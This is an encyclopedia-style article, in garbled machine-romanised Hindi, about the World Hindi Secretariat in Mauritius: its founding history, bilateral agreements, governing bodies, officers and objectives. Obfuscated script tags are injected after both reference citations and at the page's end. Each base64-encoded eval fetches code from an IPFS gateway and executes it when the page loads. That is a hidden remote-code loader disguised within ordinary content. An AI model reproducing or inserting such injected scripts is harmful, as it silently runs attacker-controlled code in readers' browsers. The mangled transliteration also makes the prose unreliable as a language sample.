विश्व हिंदी सचिवालय

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
vishv hiandi sachivalay
vivaran 'vishv hiandi sachivalay' vaishvik star par hiandi ke prachar-prasar mean sanlagn bharat aur m aaurishas sarakar ki ek dvipakshiy sanstha hai.
mukhyalay f aaurest said, kyurpip, m aaurishas
shilanyas 1 navanbar, 2001
karyaranbh 11 faravari, 2008
sadasy bharat, m aaurishas, fiji, soorinam, nepal
prashasanik bhasha hindi
sanbandhit lekh vishv hindi sammelan, vishv hiandi detabes, bharat, m aaurishas, hindi
any janakari 1975 mean nagapur mean ayojit pratham vishv hiandi sammelan ke dauran ek vishv hiandi keandr ki sthapana ka vichar m aaurishas ke tatkalin pradhanamantri v pratinidhi mandal ke adhyaksh sar shivasagar ramagulam dvara prastut kiya gaya tha.

vishv hiandi sachivalay (aangrezi: World Hindi Secretariat) m aaurishas ke moka gaanv mean sthit hai. sachivalay 11 faravari, 2008 se karyarat hai. hindi ka ek antarrashtriy bhasha ke roop mean sanvarddhan karane aur vishv hindi sammelanoan ke ayojan ko sansthagat vyavastha pradan karane ke uddeshy se vishv hindi sachivalay ki sthapana ka nirnay liya gaya tha. sachivalay ki ek shasi parishad tatha ek karyakari mandal hai. vishv hindi sachivalay ke mahasachiv isake mukhy karyakari adhikari haian. bharat sarakar tatha m aaurishas ki sarakar ke bich sampann dvipakshiy karar ke anusar vishv hindi sachivalay ka pratham mahasachiv m aaurishas se hoga aur isaka karyakal 3 varsh ka hoga. bharat sarakar tatha m aaurishas ki sarakar ke bich sampann dvipakshiy karar ke anusar vishv hindi sachivalay ka pratham upamahasachiv bharat se hoga aur inaka karyakal 3 varsh ka hoga.

sthapana

1975 mean nagapur mean ayojit pratham vishv hiandi sammelan ke dauran ek vishv hiandi keandr ki sthapana ka vichar m aaurishas ke tatkalin pradhanamantri v pratinidhi mandal ke adhyaksh sar shivasagar ramagulam dvara prastut kiya gaya tha. is vichar ne dridh sankalp ka roop dharan kiya. m aaurishas mean ayojit dvitiy vishv hiandi sammelan mean aur lagatar kee vishv hiandi sammelanoan mean manthan ke bad m aaurishas mean vishv hiandi sachivalay ki sthapana ka vichar sakar hua. bharat sarakar v m aaurishas sarakar ke bich ek samajhaute par hastakshar kie ge tatha m aaurishas ki vidhan sabha mean adhiniyam parit kiya gaya.[1]

aprail, 1996 mean trinidad v tobaigo mean hue 5vean vishv hiandi sammelan ke bad m aaurishas sarakar ne vishv hiandi sachivalay ke nirman se sanbandhit karyoan ke lie d aau. shrimati sarita budhu ko shiksha v vaijnanik anusandhan mantralay mean salahakar ke roop mean niyukt kiya. joon, 1996 mean bharatiy uchchayog ke madhyam se bharat sarakar ke sahayog ke sath m aaurishas mean shiksha v vaijnanik anusandhan mantralay mean vishv hiandi sachivalay ki ek ikaee ka gathan kiya gaya.

samajhauta jnapan

20 agast, 1999 ko ek aur mahatvapoorn kadam uthaya gaya. m aaurishas sarakar v bharat sarakar ne port luis, m aaurishas mean sachivalay ke uddeshyoan, sanchalan aur vittaposhan se sanbandhit ek samajhaute par hastakshar kie. tatkalin shiksha v vaijnanik anusandhan mantri, mananiy ramasami chedambram pille aur tatkalin bharatiy uchchayukt, mahamahim shri em.el. tripathi ne apani-apani sarakaroan ka pratinidhitv kiya. vishv hiandi sachivalay mukhyalay nirman ke lie m aaurishas sarakar ne feniks mean zamin pradan ki tatha bharat sarakar ne bhavan ke praroop tatha nirman ke kharch ki zimmedari li.

asthayi karyalay

17 sitanbar, 2001 ko ajamil matabadal, tatkalin sahayak paryavekshak, prachy bhasha (hiandi), shiksha v manav sansadhan mantralay ke netritv mean vishv hiandi sachivalay ne f aaurest said, kyurpip sthit ek kirae ke bhavan mean kary karana aranbh kiya. sitanbar, 2005 mean unaki seva-nivritti ke bad shri es. janaki, tatkalin varishth paryavekshak, prachy bhasha (hiandi) ne mahasachiv ki niyukti hone tak karyabhar sanbhala. 18 janavari, 2007 ko mahasachiv ke pad par d aau. shrimati vinod bala arun ki niyukti huee.[1]

shilanyas

1 navanbar, 2001 ko m aaurishas sarakar dvara feniks mean pradatt zamin par vishv hiandi sachivalay ka shilanyas bharat ke tatkalin manav sansadhan vikas, vijnan v praudyogiki tatha samudri vikas mantri, mananiy murali manohar joshi ke hathoan, m aaurishas ke tatkalin up-pradhan mantri tatha vitt mantri, mananiy pol remoan beraanze, ji.o.es.ke., tatkalin shiksha v vaijnanik anusandhan mantri, mananiy stiven obigadu tatha tatkalin kala v sanskriti mantri, mananiy moti ramadas ki upasthiti mean kiya gaya.

vishv hiandi sachivalay adhiniyam

12 navanbar, 2002 ko m aaurishas sarakar dvara vishv hiandi sachivalay ki sthapana v prabandhan se sanbandhit adhiniyam parit kiya gaya. hiandi ka aantararashtriy bhasha ke roop mean prachar tatha hiandi ko sanyukt rashtrasangh ki adhikarik bhasha banane ke lie manch taiyar karane ke uddeshy se sachivalay ki sthapana huee.

samajhaute par hastakshar

21 navanbar, 2003 ko nee dilli mean m aaurishas sarakar tatha bharat sarakar ke bich vishv hiandi sachivalay ke gathan v kary paddhatiyoan se sanbandhit ek samajhaute par hastakshar kie ge. is mishan ke dauran shri ech. gannu, kaibinet sachiv ne m aaurishas sarakar tatha jagadish chandr sharma, sachiv (pi.si.di.) ne bharat sarakar ka pratinidhitv kiya.

adhiniyam ki udghoshana

navanbar, 2002 mean m aaurishas neshanal aseanbali mean parit vishv hiandi sachivalay adhiniyam ki udghoshana 12 sitanbar, 2005 ko huee.

karyaranbh

11 faravari, 2008 ko vishv hiandi sachivalay ne adhikarik roop se karyaranbh kiya. karyaranbh mahasachiv d aau. shrimati vinod bala arun tatha up-mahasachiv d aau. rajendr prasad mishr ke netritv mean hua. 12 march, 2015 ko feniks mean bharat ganarajy ke pradhanamantri, mahamahim narendr modi tatha m aaurishas ganarajy ke pradhanamantri, mananiy sar aniruddh jagannath, ji.si.es.ke. ke.si.em.ji., kyoo.si. ke hathoan vishv hiandi sachivalay mukhyalay nirman ka adhikarik shubharanbh kiya gaya. avasar par donoan pradhanamantriyoan dvara m aaurishas ki shiksha v manav sansadhan, tritiyak shiksha v vaijnanik anusandhan mantri, mananiya shrimati lila-devi dukhan-lachhuman ki upasthiti mean ek smarak patt ka anavaran kiya gaya.[1]

sangathan

vishv hindi sachivalay ki ek shasi parishad tatha ek karyakari mandal hai. sachivalay ke mahasachiv isake mukhy karyakari adhikari haian. shasi parishad mean vishv hindi sachivalay ki shasi parishad mean bharat tatha m aaurishas, donoan pakshoan, ki or se 5-5 sadasy haian| bharat ki or se- videsh mantri, manav sansadhan vikas mantri aur sanskriti mantri tatha m aaurishas ki or se- videsh kary, antarrashtriy vyapar evan sahayog mantri, shiksha evan manav sansadhan mantri aur kala evan sanskriti mantri. isake gair-sarakari sadasy haian- d aau. ratnakar paandey, ajamil matabadal, d aau. balakavi bairagi evan shri satyadev teangar.[2]

shasi parishad ki baithak

shasi parishad ki pratham baithak, bharat ke tatkalin videshamantri pranab mukharji ki adhyakshata mean 28 janavari, 2008 ko nee dilli mean ayojit ki gee. baithak mean bharat ki or se pranab mukharji, videshamantri arjun sianh, manav sansadhan vikas mantri ambika soni, sanskriti mantri d aau. ratnakar paandey, d aau. ar pi mishr, namit upamahasachiv, vishv hindi sachivalay tatha videsh mantralay, manav sansadhan mantralay, sanskriti mantralay ke adhikarigan upasthit the. m aaurishas ki or se di. gokhul, shiksha evan manav sansadhan mantri, em. em dallu, videsh kary, antarrashtriy vyapar evan sahayog mantri, mukeshvar chunni, m aaurishas ke uchchayukt, d aau.(shrimati) vinod bala aroon, mahasachiv, vishv hindi sachivalay, ajamil matabadal, satyadev teangar tatha bharat mean m aaurishas ke uchchayog se any adhikari upasthit the. isake karyakari mandal mean bharat ki or se sachiv, videsh mantralay, sachiv, manav sansadhan vikas mantralay, sachiv, sanskriti mantralay, m aaurishas mean bharat ka uchchayukt tatha m aaurishas ke or se sthayi sachiv, videsh kary, antarrashtriy vyapar evan sahayog mantralay, sthayi sachiv, shiksha evan manav sansadhan mantralay, sthayi sachiv, kala evan sanskriti mantralay, sthayi sachiv, pradhanamantri karyalay, m aaurishas upasthit rahe.

karyakari mandal ki baithak

karyakari mandal ki pratham baithak ar pi agraval, sachiv (uchchatar shiksha), manav sansadhan vikas mantralay, bharat sarakar ki adhyakshata mean 24 mee-25 mee ko m aaurishas mean ayojit ki gee. baithak mean bharat ki or se ar pi agraval, sachiv (uchchatar shiksha), manav sansadhan mantralay, vi pi haran, sanyukt sachiv, videsh mantralay, ar si mishr, sanyukt sachiv, sanskriti mantralay, bi jayashankar, m aaurishas mean bharat ke uchchayukt upasthit the aur m aaurishas ki or se es regan, sthayi sachiv, shiksha evan manav sansadhan mantralay, en ke ballah, sthayi sachiv, kala evan sanskriti mantralay, vi chitoo, pratham sachiv, videsh kary mantralay, shrimati es bahadur, sahayak sachiv, pradhanamantri karyalay tatha d aau.(shrimati) vinod bala arun, mahasachiv, vishv hindi sachivalay upasthit the.

padadhikari

mahasachiv - bharat sarakar tatha m aaurishas ki sarakar ke bich sampann dvipakshiy karar ke anusar vishv hindi sachivalay ka pratham mahasachiv m aaurishas se hoga aur isaka karyakal 3 varsh ka hoga. tadnusar marishas se d aau. (shrimati) vinod bala aroon ki vishv hindi sachivalay ki pratham mahasachiv ke roop mean niyukt ki geean.

upamahasachiv - bharat sarakar tatha m aaurishas ki sarakar ke bich sampann dvipakshiy karar ke anusar vishv hindi sachivalay ka pratham upamahasachiv bharat se hoga aur isaka karyakal 3 varsh ka hoga. tadnusar bharat se d aau. rajendr prasad mishr ki vishv hindi sachivalay ke pratham upamahasachiv ke roop mean niyukt ki gee.

uddeshy

vishv hiandi sachivalay ke nimnalikhit uddeshy nirdharit kiye ge haian-

  1. hiandi ko vishv bhasha ke roop mean pronnat karana.
  2. hiandi ko sanyukt rashtr sangh ki adhikarik bhasha ke roop mean sthapit karane ki disha mean saghan prayas karana.
  3. hiandi mean antarashtriy sammalen, sangoshthi, samooh vichar-vimarsh, charcha evan kavi sammalen jaise saanskritik karyakramoan ka ayojan karana.
  4. hiandi ke vidvanoan ko sammanit/puraskrit karana.
  5. hiandi mean shodh kary ke lie pralekhan keandr sthapit karana.
  6. antarashtriy hiandi pustakalay ki sthapana karana.
  7. antarashtriy hiandi pustak mele ka ayojan karana.

is prakar bharat ke hiandi bhashi pradeshoan se sudoor dakshin mean ek chhote se desh m aaurishas mean sthapit vishv hiandi sachivalay duniya mean hiandi ke lie nee sanbhavanaoan ka dvar kholane vali pahali k di hail 'har mahan pariyojana ek chhote se vichar se janm leti hai' ki avadharana ko charitarth karane vala yah prayas ane vale samay mean hiandi aur shesh vishv ke madhy pratham setu sabit hone ja raha hail 1976 mean m aaurishas mean ayojit dvitiy vishv hiandi sammalen mean achary hazari prasad dvivedi ne hiandi ke varttaman aur bhavishy ke bare mean pratikatmak dhang se jo tippani ki thi, aj vah kadam dar kadam hiandi ki badhati pragati ko dekhakar aksharashah saty lagati hai. unhoanne kaha tha- "'ravi mandal dekhat laghu laga, uday tasu tribhuvan tam bhaga.' soory ka mandal kitana chhota sa, ek thali jaisa ugata hai, lekin jis din soory ka mandal udit ho jata hai, usi kshan sansar ka aandhakar door ho jata hai. hamare samane m aaurishas ka dekhane mean chhota lekin apar tejasvi roop hai. yah dekhean hamare samane yah jo sansar ko nishchit roop se naya sandesh de raha hai aur yahi naya sandesh age chalakar kadachit vishv sanskriti ka ek adarsh roop banega.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 vishv hiandi sachivalay ki sthapana (hiandi) vishwahindi.com. abhigaman tithi: 09 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. vishv hiandi sachivalay ka sapharanama (hiandi) vishwahindi.com. abhigaman tithi: 09 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>